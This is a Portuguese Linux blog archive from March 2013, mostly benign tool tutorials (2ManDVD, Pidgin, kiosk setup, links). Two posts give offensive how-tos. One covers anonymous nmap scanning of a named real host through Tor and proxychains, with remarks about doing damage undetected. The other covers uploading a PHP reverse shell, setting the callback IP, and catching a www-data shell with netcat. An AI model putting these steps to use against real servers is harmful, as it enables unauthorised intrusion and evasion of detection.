Informática, Rede, Software Livre: Março 2013
Em novembro de 2011 eu postei sobre o ManDVD e o OpenShot, que são ferramentas para edição e criação de videos e dvd. Agora vou mostrar o 2ManDVD.
Ao abri-lo, a seguinte tela é mostrada para a escolha do tipo de projeto.
O software é bem intuitivo. Basicamente basta arrastar os videos até a aba Médias e montar os menus.
Árvore de menu e videos
Novo menu pronto para ser configrado
Renderizando o dvd
Tem coisas que eu acho mais fácil fazer no ManDVD, outras no 2ManDVD, outras no OpenShot, e outras ainda no OpenMovieEditor. Juntando essas quatro ferramentas dá prá editar e criar videos com vários efeitos, trilha sonora, cortes, sobreposição, menus, slides, etc.
O 2ManDVD está disponível nos repositórios de multimidia do Debian (inclua a linha "deb http://www.deb-multimedia.org/ stable main non-free" no sources.list) e pode ser instalado via apt-get.
Postado por Ricardo Lino Olonca às 15:30:00
Para quem quer aprender Bash Script, ou incrementar seus programas, o site http://aurelio.net/shell/canivete é uma ótima referência. Sempre o consulto quando tenho dúvidas sobre o assunto.
Outro site que também merece ser visitado é o http://aurelio.net/shell/dialog. No mesmo esquema do anterior, mas voltado para o Dialog, ferramenta usada para deixar os scripts bash com uma aparência mais bonita.
Postado por Ricardo Lino Olonca às 11:34:00
Postado por Ricardo Lino Olonca às 10:17:00
Há pouco mais de um ano eu escrevi sobre o Tor e sigilo na Internet. O artigo pode ser lido em http://ricardoolonca.blogspot.com.br/2011/11/tor-sigilo-na-internet.html. Nele eu mostro como navegar na web de forma anônima. Agora, vou mostrar como usar outros serviços, além do navegador, de forma anônima.
Primeiramente instale o Tor. É ele quem cuida da navegação anônima.
Em seguida, instale o proxychains. Ele funciona como um proxy, passando as requisições da aplicação para o tor.
Simples assim! Agora, por exemplo, para fazer um scan em um servidor de forma anônima, use o seguinte comando.
$ proxychains nmap www.cmais.com.br
Starting Nmap 5.00 ( http://nmap.org ) at 2013-03-20 15:31 BRT
|DNS-request| www.cmais.com.br
|DNS-response| www.cmais.com.br is 200.136.27.13
|S-chain|-<>-127.0.0.1:9050-<><>-200.136.27.13:80-<><>-OK
|S-chain|-<>-127.0.0.1:9050-<><>-200.136.27.13:443-<--denied p="">Interesting ports on fpasrv021.tvcultura.com.br (200.136.27.13):
Nem todos os programa vão funcionar, mas já dá para fazer um estrago sem ser detectado.
Um quiosque é um equipamento com acesso público que fornece algum serviço, geralmente navegação. Neste artigo vamos configurar um quiosque contendo apenas um navegador.
O primeiro passo é instalar sua distribuição Linux preferência. Eu sugiro o Debian, e com menos pacotes possíveis. Instale o ambiente gráfico de sua escolha. Crie um usuário (usaei quiosque) e personalize o Firefox. Não esqueça de deixá-lo em tela cheia.
Após as personalizações, vamos aos procedimentos para fazer com que o Firefox abra no boot.
Primeiro, instalale o aplicativo mingetty.
$ apt-get install mingetty
Após, abra o arquivo /etc/inittab a altere a linha...
1:2345:respawn:/sbin/mingetty --autologin quiosque tty1
Isso fará com que o o usuário quiosque esteja logado automaticamente no boot. Após, abra o arquivo .bashrc do usuário quiosque e inclua a seguinte linha no final do arquivo.
Reinicie a máquina e você verá o quiosque funcionando.
Postado por Ricardo Lino Olonca às 17:00:00
Shel reverso é uma técnica de invasão que permite acessar um shell remoto. No endereço http://pentestmonkey.net/tools/web-shells/php-reverse-shell há uma ferramenta escrita em Php que permite aplicar essa técnica em um servidor web.
Se você possui permissão para gravar arquivos no servidor web, você pode fazer o download do script no site acima e testar a invasão.
Antes de enviar o script php para o site, altere as seguintes linhas:
$ip = '172.20.120.4'; // CHANGE THIS
$ip é o endereço da tua estação de trabalho. Quando você acessara página pelo seu navegador, o script vai abrir uma conexão com esse ip.
$port é a porta que o script vai se conectar na tua estação.
Faça o upload do arquivo. Após abra um terminal texto e execute:
Agora, acesse o script instalado no site. Por exemplo, http://servidor/php-reverse-shell.php
Em teu terminal irá aparecer shell reverso.
Linux fpawks0703 3.2.0-3-amd64 #1 SMP Mon Jul 23 04:46:29 UTC 2012 x86_64 GNU/Linux
10:57:47 up 1 day, 2:14, 3 users, load average: 1.04, 1.21, 1.28
ricardo tty7 :0 Thu08 26:14m 3:55m 0.26s gnome-session
ricardo pts/0 :0.0 Thu08 28:42 0.27s 0.11s ssh ricardoolon
ricardo pts/1 :0.0 08:13 59.00s 0.15s 0.00s nc -l 1234
Repare que agora você está conectado ao servidor pelo usuário www-data em um shell, onde você pode executar os comandos como qualquer outro usuário.
Há um video demostrando o php-reverse-shell em http://www.youtube.com/watch?v=A0Ks4MfhVIE
Postado por Ricardo Lino Olonca às 11:09:00
Quem usa Windows está acostumado a criar atalhos para aplicações e arquivos. No Linux esse recurso também existe, mas com algumas opções a mais. Uma forma simples de criar atalhos é usando o comando "ls". Por exemplo, vamos criar um atalho para a pasta /home/ricardo/tmp/cmais em /tmp/cmais.
$ ln -s /home/ricardo/tmp/cmais /tmp/cmais
lrwxrwxrwx 1 ricardo ricardo 23 Mar 7 13:43 cmais -> /home/ricardo/tmp/cmais
srw-rw-rw- 1 root root 0 Mar 7 08:43 cmg-statistic
drwxr-xr-x 2 ricardo ricardo 4096 Mar 7 13:32 hsperfdata_ricardo
drwxr-xr-x 2 tomcat6 tomcat6 4096 Mar 7 08:44 hsperfdata_tomcat6
Podemos perceber pelo comando ls que a pasta cmais aponda ( ->) para /home/ricardo/tmp/cmais. Esse tipo de atalho funciona igual no Windows.
A segunda forma é usando o ls sem parâmetros.
# ln /home/ricardo/tmp/cmais/Cmais_20130115.html /home/cmais
# ls -l /home/cmais
-rw-r--r-- 2 ricardo ricardo 3882 Mar 1 17:02 /home/cmais
A diferença é que esse tipo de link, chamado de hard link, só pode ser feito dentro da mesma partição. Dependendo do sistema de arquivos você pode inclusive dar permissões diferentes para os arquivos.
Uma terceira forma é usando o mount. O comando "mount" permite que uma parte do sistema de arquivos (uma pasta, por exemplo) seja montada em outro lugar do disco.
Por exemplo, vamos montar a pasta /home/ricardo/tmp/cmais na pasta /tmp/cmais.
# mount --bind /home/ricardo/tmp/cmais /tmp/cmais/
# ls -l /tmp/cmais/
-rw-r--r-- 1 ricardo ricardo 3130 Mar 1 17:02 Cmais_20130115-chart.html
-rw-r--r-- 1 ricardo ricardo 3882 Mar 1 17:02 Cmais_20130115.html
-rw-r--r-- 1 ricardo ricardo 134792 Mar 1 17:02 Cmais_20130115.png
-rw-r--r-- 1 ricardo ricardo 4047 Mar 1 17:02 Cmais_20130115-resources.html
-rw-r--r-- 1 ricardo ricardo 21258 Mar 1 17:02 Cmais_20130115.res.png
-rw-r--r-- 1 ricardo ricardo 67763 Mar 1 17:02 Cmais_20130115-tasks.html
lrwxrwxrwx 1 ricardo ricardo 25 Fev 15 17:01 index.html -> Cmais_20130115-chart.html
O que alterarmos na pasta original será automaticamente refletido na pasta montada.
Lembre-se que isso é apenas para facilitar as coisas, quando, por exemplo, o caminho de uma pasta fica muito grande (quem trabalha com java sabe do que estou falando). Isso não vale como um backup!
Postado por Ricardo Lino Olonca às 14:34:00
Há cerca de um ano escrevi um artigo para o Vol explicando o que são portas Tcp/Udp. Nele eu ainda mostro como encontrar as portas abertas em sua máquina, quais aplicações estão sendo usando essas portas, e quais portas estão abertas em um micro remoto usando Nmap.
O endereço do artigo é http://www.vivaolinux.com.br/artigo/Entendendo-TCP-IP-(Parte-5)-Portas-TCP-UDP/
Postado por Ricardo Lino Olonca às 11:14:00
Pidgin, um ótimo cliente de Msn, Gtalk, e outros mensageiros instantâneos.
No mundo Linux há várias formas de fazer a mesma coisa, assim como vários programas que fazem a mesma tarefa. Cada um escolhe o que mais gostar.
Para cliente de mensagem instantânea, como Mns, Gtalk e Jabber, eu uso o Pidgin.
O Pidgin tem suporte a uma variadade de serviços, como Msn, Gtalk, Jabber, Yahoo, Icq, Irc, Twitter, Skype, e uma infinidade de outros. Eu posso me logar em várias contas ao mesmo tempo e mistrurar os contatos entre os serviços de forma que eu não preciso saber qual o serviço que meu contato está usando.
Eu posso também criar ações para quando o meu contato se conectar, por exemplo, enviando-lhe um arquivo, ou mensagem, emitir um som, abrir uma janela, etc.
O Pidgin está disponível na maioria das distribuições e, no Debian, basta digitar, como root:
$ apt-get install pidgin
Postado por Ricardo Lino Olonca às 16:25:00
Quem nunca usou CTRL+C CTRL+V?
Para quem não sabe do que estou falando (em que mundo você vive?) ao selecionar um texto e apertar CTRL e a letra "C", o texto selecionado é copiado para uma área da memória conhecida como "Area de transferência". Ao precionar CTRL+V, o texto (ou outro objeto) vai ser "colado" onde o cursor estiver.
Acontece que essa operação só permite "copiar e colar" um objeto por vêz (texto, figura, arquivo, etc).
O Parcellite pode gerenciar vários objetos na área de transferência. Seu funcionamento é simples: ao executá-lo, um ícone é criado na bandeja do desktop.
Ao clicar no ícone em questão, uma lista dos últimos objetos é mostrada. Basta clicar no objeto em questão e apertar CTRL+V para colá-lo onde você precisa.
Você pode configurar o número de ítens guardados clicando no ícone do Parcellite com o botão direito e escolhendo "Preferências".